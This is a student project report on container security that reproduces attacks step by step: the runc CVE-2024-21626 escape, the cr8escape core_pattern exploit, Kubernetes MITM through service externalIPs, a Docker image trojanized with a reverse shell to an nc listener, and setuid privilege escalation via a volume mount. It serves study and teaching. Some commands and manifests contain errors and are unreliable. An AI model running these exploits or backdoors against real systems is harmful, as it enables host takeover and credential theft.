



Concordia Institute for Information System  
Engineering (CIISE)

INSE 6130: Operating System Security

Project Report

**Hands-On Container Security:  
Studying the Implementation of Recent  
Attacks and Related Security Applications**

Under the Guidance of:

Prof. Suryadipta Majumdar

Name	Student ID	Task Performed
Adrijeet Deb	40194662	runc Vulnerability
Chris Regy Vallikunnathu	40232485	Docker Image Backdooring
Degamber Pushpeswaree	40296526	cr8escape
Harleen Kaur	40232489	Privilege Escalation
Jaspreet Kaur	40233337	Kubernetes MITM Service
MD Tanjim Ahmed	40263734	Privilege Escalation Mitigation
Mukul Prabhu	40257131	Host OS Security Applications
Nicholas Simo	40130493	RBAC Implementation

# Introduction

The primary goal of this project is to set up a Docker environment on Amazon Web Services (AWS) and conduct a security evaluation. This involves the implementation of recent container attacks to exploit vulnerabilities in the platform and the subsequent installation of a security application to prevent and mitigate such attacks. Through this project, we aim to gain an in depth understanding of the potential risks, weak points, vulnerabilities, attack methodologies, entry points and techniques to strengthen container platforms. The report will first explain the various vulnerabilities performed on containers and then demonstrate the security applications and mitigations performed.

## runc Vulnerability

CVE-2024-21626 is a critical vulnerability in runC, the universal container runtime used by popular platforms like Docker and Kubernetes. It allows a malicious container to escape isolation and gain access to the host filesystem with the privileges of the container runtime daemon (usually root). The vulnerability was introduced in runC version 1.0.0-rc93 and fixed in 1.1.12.

The vulnerability is caused by runC improperly handling certain `/proc/self/fd/<num>` paths, which are special kernel files that reference open file descriptors. If a container's working directory is set to `/proc/self/fd/<num>` where `<num>` corresponds to an open file descriptor to a sensitive directory on the host (like `/sys/fs/cgroup`), then relative file paths accessed inside the container will actually resolve to the host's filesystem instead of being confined to the container.

### Reproducing the Exploit

We successfully reproduced the exploit in our lab environment consisting of:

- Ubuntu 22.04 LTS host
- Docker 24.0.6
- runC 1.1.9 (vulnerable)

We tested the exploit in two ways:

#### 1. Exploiting via container image:

We specified the `/proc/self/fd` path directly as the container working directory in the docker run command:

```
$ docker run -w /proc/self/fd/8 --rm -it ubuntu
```

This starts a new container with its working directory pointing at the host's `/sys/fs/cgroup` directory (file descriptor 8).

```
> docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it cve-2024-21626
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@9085066db490:~#
```

We then verify we can access arbitrary files on the host:

```
# ls -l /etc/shadow
```

```
-rw-r----- 1 root shadow 1050 Feb 14 18:43 /etc/shadow
```

```
root@9005066db490:~# pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@9005066db490:~#
```

List all the processes.

```
> docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it cve-2024-21626
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@9005066db490:~# pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@9005066db490:~# ls -F
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
cgroup.controllers      cgroup.procs          cpu.pressure           dev-hugepages.mount/  io.cost.qos           irq.pressure           memory.reclaim         sys-fs-fuse-connections.mount/  system.slice/
cgroup.max.depth        cgroup.stat           cpu.stat               dev-queue.mount/      io.pressure           machine.slice/         memory.stat            sys-kernel-config.mount/        user.slice/
cgroup.max.descendants    cgroup.subtree_control  cpuset.cpus.effective  init.scope/           io.prio.class         memory.numa_stat       misc.capacity          sys-kernel-debug.mount/        misc.capacity
cgroup.pressure         cgroup.threads        cpuset.mems.effective  io.cost.model         io.stat              memory.pressure        proc-sys-fs-binfmt_misc.mount/  sys-kernel-tracing.mount/
root@9005066db490:~#
```

We see by trying to navigate the parent directories, we are able to escape the container.

```
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bin boot data dev etc home lib lib64 lost+found mnt opt proc root run sbin srv swapfile sys tmp usr var
root@9005066db490:~# cat ../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
nitro
root@9005066db490:~# grep nitro ../../../../etc/passwd
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
nitro:x:1000:1000:Nitro:/home/nitro:/bin/zsh
root@9005066db490:~#
```

```
[detached (from session kernel)]
```

## 2. Exploiting via docker exec:

We first started a normal container:

```
$ docker run --name runc-vuln --rm -it ubuntu
```

Then inside the container, created a symlink pointing to the /proc/self/fd path:

```
# ln -s /proc/self/fd/8 /evil
```

Exited the container, and used docker exec -w to break out:

```
$ docker exec -w /evil runc-vuln ps auxww
```

The exec command spawns a new process inside the container with its working directory set to the symlink destination on the host. We can then navigate to anywhere on the host filesystem:

```
# cat /etc/shadow
```

```
root:*:19490:0:99999:7:::
```

In both cases, we obtained an interactive shell inside the container that could access any path on the underlying host filesystem, demonstrating a complete escape of the isolation boundary.

## Root Cause Analysis

The vulnerability stems from how runC (actually the underlying runc library) opens files and directories during container setup. When runC starts a container, it needs to open various cgroup configuration files to set resource limits.

runC uses the `openat2()` system call to open these files relative to a trusted base directory (`/sys/fs/cgroup`). However, after opening `/sys/fs/cgroup`, runC fails to close the returned file descriptor properly before executing the container process. This leaves the privileged file descriptor accessible to the container via the special `/proc/self/fd/<num>` paths.

A container can exploit this by setting its working directory to the `/proc/self/fd/<num>` path corresponding to the open `/sys/fs/cgroup` directory on the host. Then any relative filesystem access like opening files or listing directories will be resolved relative to the host's `/sys/fs/cgroup` instead of the container's filesystem.

## Remediation

The vulnerability is fixed in the following versions:

- runC 1.1.12
- Docker 25.0.2
- Containerd 1.6.28, 1.7.13

Users should update to these patched releases as soon as possible. Additionally, the following general best practices help mitigate container threats:

- Avoid running containers with `--privileged` unless absolutely necessary
- Run containers with read-only filesystems (`-v /:/rootfs:ro`) and `--cap-drop=ALL` when possible
- Regularly update and patch container infrastructure components
- Restrict access to control plane nodes in orchestration platforms like Kubernetes
- Monitor and alert on suspicious container behavior (like processes spawned using `/proc/self/fd` paths)

## Conclusion

Exploiting CVE-2024-21626 provided an excellent real-world example of how subtle bugs in complex container runtimes can completely undermine isolation. It underscores the importance of continuous patching, defense-in-depth, and treating containers as untrusted environments even with isolation mechanisms enabled. As containers increasingly host critical production workloads, proactively identifying and remediating vulnerabilities in the container software supply chain is crucial.

## cr8escape

The vulnerability, known as "cr8escape," enables attackers to escape from a Kubernetes container and take over the host, giving them root access. Given that many platforms use CRI-O by default, the potential impact is high and the CVE ranking (CVE-2022-0811) is 8.8 (High). K8s use the container runtime CRI-o to share the resources of the node.

## Set up

<ol style="list-style-type: none"><li>1. Download Virtual Box using the following Link: <a href="https://download.virtualbox.org/virtualbox/7.0.6/virtualbox-7.0_7.0.6-155176~Ubuntu~focal_amd64.deb">https://download.virtualbox.org/virtualbox/7.0.6/virtualbox-7.0_7.0.6-155176~Ubuntu~focal_amd64.deb</a></li></ol>	<ol style="list-style-type: none"><li>4. Install Kubelet kubeadm kubectl Run the following commands:<ol style="list-style-type: none"><li>a. Sudo apt-get update</li><li>b. sudo apt-get install -y apt-transport-https ca-certificates curl</li><li>c. sudo mkdir /etc/apt/keyrings</li><li>d. sudo curl -fsSL https://apt.kubernetes.io/kubernetes-xenial main"   sudo tee /etc/apt/sources.list.d/kubernetes.list</li><li>e. echo "deb [signed-by=/etc/apt/keyrings/kubernetes-archive-keyring.gpg] https://apt.kubernetes.io/kubernetes-xenial main"   sudo tee /etc/apt/sources.list.d/kubernetes.list</li><li>f. sudo apt-get update</li><li>g. sudo apt-get install -y kubelet kubeadm kubectl</li></ol></li></ol>
<ol style="list-style-type: none"><li>2. Run from install location: sudo apt install ./virtualbox-7.0_7.0.6-155176~Ubuntu~focal_amd64.deb</li></ol>	
<ol style="list-style-type: none"><li>3. Install Minikube v1.25.0:<ol style="list-style-type: none"><li>a. Download from: <a href="https://github.com/kubernetes/minikube/releases/download/v1.25.0/minikube_1.25.0-0_amd64.deb">https://github.com/kubernetes/minikube/releases/download/v1.25.0/minikube_1.25.0-0_amd64.deb</a></li><li>b. Run : sudo apt install ./minikube_1.25.0-0_amd64.deb</li></ol></li></ol>	

## Minikube Setup

```
@ubuntu:~$ minikube start --kubernetes-version=v1.23.3 --driver=virtualbox --container-runtime=crio
minikube v1.25.0 on Ubuntu 20.04
minikube 1.25.0 is available! Download it: https://github.com/kubernetes/minikube/releases/tag/v1.25.0
To disable this notice, run: minikube config set wantupdatenotification false

Using the virtualbox driver based on user configuration
Downloading VM boot image ...
> minikube-v1.25.0.iso: 65 B / 65 B [-----] 100.00% 7 p/s 0s
> minikube-v1.25.0.iso: 220.25 MiB / 220.25 MiB 100.00% 23.57 MiB p/s 9.8s
Starting control plane node minikube in cluster minikube
Creating virtualbox VM (CPUs=2, Memory=2048MB, Disk=20480MB) ...
Preparing Kubernetes v1.23.3 on CRI-O 1.22.1 ...
- kubelet.shaz50: 64 B / 64 B [-----] 100.00% 7 p/s 0s
- kubelet.shaz50: 64 B / 64 B [-----] 100.00% 7 p/s 0s
- kubeadm.shaz50: 64 B / 64 B [-----] 100.00% 7 p/s 0s
- kubeadm: 43.12 MiB / 43.12 MiB [-----] 100.00% 2.60 MiB p/s 16s
- kubectl: 44.43 MiB / 44.43 MiB [-----] 100.00% 2.05 MiB p/s 17s
- kubelet: 119.75 MiB / 119.75 MiB [-----] 100.00% 2.40 MiB p/s 50s
- Generating certificates and keys ...
- Booting up control plane ...
- Configuring RBAC rules ...
- Configuring bridge cni (Container Networking Interface) ...
- Verifying Kubernetes components...
- Using image gcr.io/k8s-minikube/storage-provisioner:v5
Enabled addons: storage-provisioner, default-storageclass
kubectl not found. If you need it, try: 'minikube kubectl -- get pods -A'
Done! kubectl is now configured to use 'minikube' cluster and 'default' namespace by default
```

Run the following command: (it will take some time)

```
minikube start --kubernetes-version=v1.23.3 --driver=virtualbox --container-runtime=crio
```

## Implementation Steps

Creating The Pod Hosting the Malicious Executable:

```
apiVersion: v1
kind: Pod
metadata:
  name: malicious-script-host
spec:
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]
```

Create a .yaml object called “malicious-script-host.yaml” and add the following configurations. Create the host post by using the following command: kubectl create -f ./malicious-script-host.yaml

Creating Malicious Script to Be Invoked on Core Dump:

Determining host root path:

1. Access the malicious-pod: kubectl exec -it malicious-script-host -- /bin/sh
2. Run the command: mount

```
@ubuntu:~$ kubectl exec -it malicious-script-host -- /bin/sh
/ # mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/ARASKLRWRC6YU6BUNDEADZRETD,upperdir=/var/lib/containers/storage/overlay/545c85b7ea99be57af7f36b052eb7b22749ca8eb88ab6792c9cec44e6f5430c6/diff,workdir=/var/lib/containers/storage/overlay/545c85b7ea99be57af7f36b052eb7b22749ca8eb88ab6792c9cec44e6f5430c6/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
```

Which is in this case:

```
var/lib/containers/storage/overlay/545c85b7ea99be57af7f36b052eb7b22749ca8eb88ab6792c9cec44e6f5430c6/diff
```

Creating script:

Create malicious script and change permissions using:

1. touch malicious.sh
2. chmod 755 malicious.sh

```
/ # touch malicious.sh
/ # chmod 755 malicious.sh
/ # ls -la /malicious.sh
-rwxr-xr-x 1 root root
/ #
```

```
#!/bin/sh
date >> /var/lib/containers/storage/overlay/545c85b7ea99be57af7f36b052eb7b22749ca8eb88ab6792c9cec44e6f5430c6/diff/output
whoami >> /var/lib/containers/storage/overlay/545c85b7ea99be57af7f36b052eb7b22749ca8eb88ab6792c9cec44e6f5430c6/diff/output
hostname >> /var/lib/containers/storage/overlay/545c85b7ea99be57af7f36b052eb7b22749ca8eb88ab6792c9cec44e6f5430c6/diff/output
```

3. Our Script will write the date, user, and host name to another empty file named output
4. Create output file using : touch output
5. Exit the pod by running : exit

Creating Pod to Point to Core Pattern to Malicious Script:

1. Create a .yaml object called "sysctl-set.yaml" and add the following configurations:
2. Create the pod using: kubectl
3. Access the malicious-host pod using: kubectl exec -it malicious-script-host -- /bin/sh
4. Check the core\_pattern value using: cat /proc/sys/kernel/core\_pattern

```
apiVersion: v1
kind: Pod
metadata:
  name: sysctl-set
spec:
  securityContext:
    sysctls:
      - name: kernel.shm_rmid_forced
        value: "1"
  containers:
    - name: alpine
      image: alpine:latest
      command: ["tail", "-f", "/dev/null"]
```

Success !!! while the other pod did not start but it updated the pattern\_core to point into our malicious script host container.

Triggering A Core Dump:

- 1) Access the malicious host pod using: kubectl exec -it malicious-script-host -- /bin/sh
- 2) Use the following commands to trigger the dump:  
ulimit -c unlimited  
ulimit -c  
tail -f /dev/null & ps  
kill -SIGSEGV 41

```
/ # ulimit -c unlimited
/ # ulimit -c
unlimited
/ # tail -f /dev/null &
/ # ps
PID USER TIME COMMAND
1 root 0:00 tail -f /dev/null
35 root 0:00 /bin/sh
41 root 0:00 tail -f /dev/null
42 root 0:00 ps
/ # kill -SIGSEGV 41
/ #
[1]+ Segmentation fault (core dumped) tail -f /dev/null
/ #
```

Success!!! The script was executed from outside the container with root privileges. An actual attacker could run a reverse shell and take over the whole node.

## CVE-2020-8554: Kubernetes MITM Service

CVE-2020-8554 vulnerability gives the possibility for a legitimate user to intercept outbound traffic of any Pod (container) in the cluster irrespective of the namespace.



Kubernetes clusters are designed in such a way that they should be able to operate in a multi-tenant environment and each of them should be isolated from each other; has its own space, which is the namespace. As a part of the tenant, the user or the group of users will be involved. They will be permitted to access resources only in their assigned namespaces, this including the network traffic within the namespace.

Nevertheless, this is a blessing, because any tenant with permission can create a resource on their own namespace (a widely used and accepted permission) to intercept the outgoing flow of traffic of any pod along those outside their own sphere of influence. Through this method, some attributes of a Service resource (the type of internal load balancer within Kubernetes clusters) are modified.

There exist two methods of doing it:

- Set the external IP of the Service resource type of Cluster IP to the target IP address and the traffic that the attacker would like to intercept.
- Setting the value of the load Balancer ingress Ip property within an existing Service resource of type Load Balancer.

## Setup

Here, we exposed the system to attack in order to determine the extent of the risk by deploying a single node Kubernetes cluster using microk8s:

Instantiate two namespaces: protected, which represents the victim's namespace, and unprotected, which will be the attacker's namespace

1. To begin with, install with microk8s on a clean Linux virtual machine running Ubuntu 20.04

```
sudo apt update
sudo apt upgrade -y
# since the vulnerability is unfixed we can install the latest version
sudo snap install microk8s --classic
sudo usermod -a -G microk8s $USER
sudo chown -f -R $USER ~/.kube
microk8s status --wait-ready

# to make shell commands shorter
alias k="microk8s kubectl"
```

```
ubuntu@k8s:~/manifests$ k get nodes
NAME      STATUS    ROLES    AGE   VERSION
k8s       Ready     <none>   24h   v1.26.1
```

Checking the status for the deployment of our single-node cluster using:

```
k get nodes
```

2. Then, deploying two namespaces: protected, which represents the victim's namespace, and unprotected, which will be the attacker's namespace

3. Deploy a pod to act as the victim on the protected namespace; check that the resources are deployed:

```
apiVersion: v1
kind: Namespace
metadata:
  name: protected
  labels:
    name: protected
---
apiVersion: v1
kind: Namespace
metadata:
  name: unprotected
  labels:
    name: unprotected
```

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nita-deployment
  namespace: unprotected
spec:
  selector:
    matchLabels:
      k8s-app: nita-deployment
  template:
    metadata:
      labels:
        k8s-app: nita-deployment
    spec:
      containers:
        - name: nita-service
          image: kaeling/topdump
          # run topdump to listen to DNS queries and output them
          command: ["topdump"]
          args: ["-vv", "-i", "poet", "53"]
          ports:
            - containerPort: 53
            - name: dns
              protocol: UDP
            - containerPort: 53
            - name: dns-tcp
              protocol: TCP
          # topdump needs to run as root
          securityContext:
            allowPrivilegeEscalation: true
            runAsUser: 0
          # explicitly allow to bind to port
          capabilities:
            add: [NET_BIND_SERVICE]
```

```
ubuntu@k8s:~/manifests$ k get all -n protected
NAME                                READY   STATUS    RESTARTS   AGE
pod/dnsutils-674658d59c-xm8f5       1/1     Running   0           13s

NAME                                READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/dnsutils             1/1     1            1           13s

NAME                                DESIRED   CURRENT   READY   AGE
replicaset.apps/dnsutils-674658d59c 1         1         1       13s
ubuntu@k8s:~/manifests$
```

## Implementation Steps:

The attacker, assuming access only to the unprotected namespace, deploys a MITM Pod to intercept DNS traffic by running tcpdump.

Deploying a Service resource with the external IPs property set to the DNS server of the victim Pod (8.8.8.8); check that the resources are deployed:

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mitm-deployment
  namespace: unprotected
spec:
  selector:
    matchLabels:
      k8s-app: mitm-deployment
  template:
    metadata:
      labels:
        k8s-app: mitm-deployment
    spec:
      containers:
        - name: mitm-service
          image: kasing/tcpdump
          # run tcpdump to listen to DNS queries and output them
          command: ["tcpdump"]
          args: ["-vv", "-i", "eth0", "-port", "53"]
          ports:
            - containerPort: 53
              name: dns
              protocol: UDP
            - containerPort: 53
              name: dns-tcp
              protocol: TCP
          # tcpdump needs to run as root
          securityContext:
            allowPrivilegeEscalation: true
            capabilities:
              # explicitly allow to bind to port
              add: [NET_BIND_SERVICE]
            runAsUser: 0
```

```
apiVersion: v1
kind: Service
metadata:
  name: mitm-svc
  namespace: unprotected
spec:
  ports:
    - name: dns
      port: 53
      protocol: UDP
    - name: dns-tcp
      port: 53
      protocol: TCP
  selector:
    k8s-app: mitm-deployment
  type: ClusterIP
  # HERE we route DNS traffic to our MITM Pod
  externalIPs: [8.8.8.8]
```

```
ubuntu@k8s:~/manifests$ k get all -n unprotected
NAME                                READY   STATUS    RESTARTS   AGE
pod/mitm-deployment-775f798785-2229t 1/1     Running   0           9m14s

NAME                                TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)          AGE
service/mitm-svc                     ClusterIP   10.152.183.127 8.8.8.8       53/UDP,53/TCP    5s

NAME                                READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/mitm-deployment       1/1     1             1           9m14s

NAME                                DESIRED   CURRENT   READY   AGE
replicaset.apps/mitm-deployment-775f798785 1         1         1       9m14s
```

Now we can perform a DNS query from the target, and we can see the query on the attacker pod: In another terminal connected to the victim pod and we start submitting DNS queries using dig:

```
# get attacker pod name
$ k get po -n unprotected
NAME                                READY   STATUS    RESTARTS   AGE
mitm-deployment-775f798785-2229t    1/1     Running   0           11m

# start logging the stdout of the attacker
$ k logs -n unprotected -f mitm-deployment-775f798785-2229t
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
```

```
# get victim pod
$ k get po -n protected
NAME                                READY   STATUS    RESTARTS   AGE
dnsutils-674658d59c-xm8f5           1/1     Running   0           16m

# get a shell to the pod
k exec -n protected dnsutils-674658d59c-xm8f5 -it -- bash
root@dnsutils-674658d59c-xm8f5:/# dig inse6130.ca
```

We can see DNS queries on the attacker terminal:

```
ubuntu@k8s:~$ k logs -n unprotected -f mitm-deployment-775f798785-2229t
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
18:35:05.894119 IP (tos 0x0, ttl 63, id 48185, offset 0, flags [none], proto UDP (17), length 68)
  10.0.1.1.8463 > mitm-deployment-775f798785-2229t.53: [bad udp cksum 0x6253 -> 0xc707!] 316+ [1au] A? inse6130.ca. ar: . OPT UDPsize=4096 (40)
18:35:06.415764 IP (tos 0x0, ttl 64, id 59574, offset 0, flags [DF], proto UDP (17), length 67)
  mitm-deployment-775f798785-2229t.39185 > lenovo-legion.local.53: [bad udp cksum 0x91fb -> 0x4ff3!] 452+ PTR? 1.1.0.10.in-addr.arpa. (39)
18:35:06.445664 IP (tos 0x0, ttl 63, id 42658, offset 0, flags [DF], proto UDP (17), length 67)
  lenovo-legion.local.53 > mitm-deployment-775f798785-2229t.39185: [bad udp cksum 0x91fb -> 0xc707!] 452 NXDomain q: PTR? 1.1.0.10.in-addr.arpa. 0/0
18:35:07.439038 IP (tos 0x0, ttl 64, id 59755, offset 0, flags [DF], proto UDP (17), length 72)
  mitm-deployment-775f798785-2229t.47977 > lenovo-legion.local.53: [bad udp cksum 0x9200 -> 0x847f!] 27903+ PTR? 1.122.168.192.in-addr.arpa. (44)
18:35:07.465418 IP (tos 0x0, ttl 63, id 42757, offset 0, flags [DF], proto UDP (17), length 132)
  lenovo-legion.local.53 > mitm-deployment-775f798785-2229t.47977: [bad udp cksum 0x923c -> 0x8475!] 27903* q: PTR? 1.122.168.192.in-addr.arpa. 2/0/
TR lenovo-legion., 1.122.168.192.in-addr.arpa. PTR lenovo-legion.local. (104)
18:35:10.894153 IP (tos 0x0, ttl 63, id 48215, offset 0, flags [none], proto UDP (17), length 68)
  10.0.1.1.8463 > mitm-deployment-775f798785-2229t.53: [bad udp cksum 0x6253 -> 0xc707!] 316+ [1au] A? inse6130.ca. ar: . OPT UDPsize=4096 (40)
18:35:15.894305 IP (tos 0x0, ttl 63, id 49337, offset 0, flags [none], proto UDP (17), length 68)
  10.0.1.1.8463 > mitm-deployment-775f798785-2229t.53: [bad udp cksum 0x6253 -> 0xc707!] 316+ [1au] A? inse6130.ca. ar: . OPT UDPsize=4096 (40)
```

We chose to concentrate on this vulnerability even though it had a medium CVSS score of 6.3 on our scale of severity because it remains unfixed until now. It is still a problem that exists in the community because of the intricate nature of its fix and the fact that it is well tied to how Kubernetes work, which allocates more in-depth knowledge on preventive maneuvers.

## Backdooring Docker Images

Docker image backdooring is a type of cyber attack where attackers inject malicious code into existing Docker images to compromise the security of systems that use these images. Docker images, which encapsulate software and dependencies needed to run applications, are widely used in software development and deployment workflows.



**Cloning and Installing Docker Scan:** We first obtain the Docker scan tool, which is a tool designed to analyze Docker images for security vulnerabilities. By cloning it from GitHub, we gain access to its functionality.

**Pulling Docker Image:** Docker images are pre-packaged software environments that contain everything needed to run an application. We pull the latest Ubuntu image from Docker Hub, a repository for Docker images, and save it locally for manipulation.

**Identifying IP Address:** We identify the IP address of the docker0 interface, which will be used for communication during the attack. We also specify port 4444, which is a communication endpoint in networking.

```
root@backdoorringdockerimages:~/backdoor#
root@backdoorringdockerimages:~/backdoor# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default
    link/ether 0a:d4:0f:96:34:e1 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 scope global dynamic eth0
        valid_lft 2304sec preferred_lft 2304sec
    inet6 fe80::8d4:fff:fe96:34e1/64 scope link
        valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:a3:45:36:bf brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
```

```
root@backdoorringdockerimages:~/backdoor# dockerscan image modify trojanize ubuntu
u-original -l 172.17.0.1 -p 4444 -o ubuntu-original-trojanized
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'ubuntu-original'
[ * ] Image trojanized successfully
[ * ] Trojanized image location:
[ * ] > /root/backdoor/ubuntu-original-trojanized.tar
[ * ] To receive the reverse shell, only write:
[ * ] > nc -v -k -l 172.17.0.1 4444
root@backdoorringdockerimages:~/backdoor#
```

```
ubuntu@backdoorringdockerimages:~$ nc -v -k -l 172.17.0.1 4444
Listening on ip-172-17-0-1.us-east-2.compute.internal 4444
```

**Trojanizing the Image:** We use Dockerscan to modify the original Ubuntu image. We inject a reverse shell payload into the image, essentially embedding a piece of code that establishes a connection back to the our (attacker) machine when executed. This modification is referred to as "trojanizing" the image.

**Starting Listener:** We start a listener on the specified port on a separate terminal. A listener is a program or service that waits for incoming connections, in this case, to receive the reverse shell connection initiated by the trojanized image.

**Loading Trojanized Image:** We load the modified (trojanized) image back into Docker. This makes the altered image available for running containers, potentially on other machines.

**Running the Container:** Finally, we run a container from the trojanized image. When the container starts, the embedded reverse shell payload executes, establishing a connection back to the attacker's machine. This provides the attacker with unauthorized access to the container, effectively

```
ubuntu@backdoorringdockerimages:~$ nc -v -k -l 172.17.0.1 4444
Listening on ip-172-17-0-1.us-east-2.compute.internal 4444
Connection received on ip-172-17-0-2.us-east-2.compute.internal 58178
connecting people
id
uid=0(root) gid=0(root) groups=0(root)

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
apt:x:100:65534:/nonexistent:/usr/sbin/nologin
```

compromising its security. As a result, attacker is able to access privileged files (eg: /etc/psswd) from the listener node which would otherwise require root privileges on the host machine as seen from the following screenshot.

## Privilege Escalation through Volume Mounts

The exploit takes advantage of Docker's volume mounting feature and its handling of user permissions. By adding users to the Docker group, they are granted unfettered access to the Docker daemon, effectively equating their permissions to that of the root user on the host system.

**User Setup:** The initial setup involves adding a user dockeradmin to the

```
[dockeradmin@6130_dockerserver attack_demo]$ id
uid=1001(dockeradmin) gid=1001(dockeradmin) groups=1001(dockeradmin),992(docker)
```

Docker group on the host system, which grants them the ability to interact with the Docker daemon.

```
[dockeradmin@6130_dockerserver attack_demo]$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
```

As shown through above screenshot, the dockeradmin user does not have root privileges on the host machine and is therefore not able to read the contents of the /etc/sudoers file.

### Creating Exploit Scripts:

- **copybinary.sh:** A shell script designed to copy a binary into a mounted host volume and apply executable permissions.

```
[dockeradmin@6130_dockerserver attack_demo]$ cat copybinary.sh
#!/bin/sh

cp setuserid /shared/setuserid
chmod 4777 /shared/setuserid
```

- **setuserid:** A compiled binary from C source code that utilizes the setuid(0) system call to escalate privileges to root when executed.

```
[dockeradmin@6130_dockerserver attack_demo]$ cat setuserid.c
int main()
{
    setuid(0);
    system("/bin/sh");
    return 0;
}
```

**Dockerfile Creation:** We write a Dockerfile that starts with an Alpine Linux base image. This lightweight image is chosen for its minimal footprint. The Dockerfile includes instructions to copy two files into the container image.

```
[dockeradmin@6130_dockerserver attack_demo]$ cat Dockerfile
FROM alpine:latest
COPY copybinary.sh copybinary.sh
COPY setuserid setuserid
[dockeradmin@6130_dockerserver attack_demo]$
```

**Image Building:** We build the Docker image from the Dockerfile with the following command.

```
[dockeradmin@6130_dockerserver attack_demo]$ docker build --rm -t vulnerable_image .
Sending build context to Docker daemon 13.31kB
Step 1/3 : FROM alpine:latest
latest: Pulling from library/alpine
4abcf2066143: Pull complete
Digest: sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
Status: Downloaded newer image for alpine:latest
--> 05455a08881e
Step 2/3 : COPY copybinary.sh copybinary.sh
--> 65a7e797dbc0
Step 3/3 : COPY setuserid setuserid
--> 0a0390a06411
Successfully built 0a0390a06411
Successfully tagged vulnerable_image:latest
```

```
[dockeradmin@6130_dockerserver attack_demo]$ docker images
REPOSITORY          TAG       IMAGE ID       CREATED        SIZE
vulnerable_image     latest    0a0390a06411   6 seconds ago  7.39MB
alpine               latest    05455a08881e   47 hours ago   7.38MB
```

**Executing the Exploit Container:** This command runs a Docker container using a specified vulnerable image, mounts a host directory as a volume within the container, and executes a script

(root.sh) designed to exploit vulnerabilities, aiming to elevate privileges or perform unauthorized actions.

```
[dockeradmin@6130_dockerserver dockervolume]$ ./setuserid
sh-4.2# cat /etc/shadow
root:*LOCK*:14600::::::
bin:*:18313:0:99999:7:::
daemon:*:18313:0:99999:7:::
adm:*:18313:0:99999:7:::
lp:*:18313:0:99999:7:::
sync:*:18313:0:99999:7:::
shutdown:*:18313:0:99999:7:::
halt:*:18313:0:99999:7:::
mail:*:18313:0:99999:7:::
operator:*:18313:0:99999:7:::
games:*:18313:0:99999:7:::
ftp:*:18313:0:99999:7:::
nobody:*:18313:0:99999:7:::
systemd-networkd:!:19746:::::::
dbus:!:19746:::::::
rpc:!:19746:0:99999:7:::
libstoragemgmt:!:19746:::::::
sshd:!:19746:::::::
rngd:!:19746:::::::
rpcuser:!:19746:::::::
nfsnobody:!:19746:::::::
ec2-instance-connect:!:19746:::::::
postfix:!:19746:::::::
chrony:!:19746:::::::
tcpdump:!:19746:::::::
```

```
[dockeradmin@6130_dockerserver attack_demo]$ docker run -v /tmp/dockervolume/./shared/ vulnerable_image /bin/sh copybinary.sh
[dockeradmin@6130_dockerserver attack_demo]$
```

### Executing the Privilege Escalation Binary:

Following the container's execution and the script's operation within it, the final step in the attack sequence is to execute the setuserid binary placed in the shared volume.

```
[dockeradmin@6130_dockerserver tmp]$ cd dockervolume/
[dockeradmin@6130_dockerserver dockervolume]$ ll
total 12
-rwsrwxrwx 1 root root 8232 Jan 28 23:34 setuserid
[dockeradmin@6130_dockerserver dockervolume]$
[dockeradmin@6130_dockerserver dockervolume]$
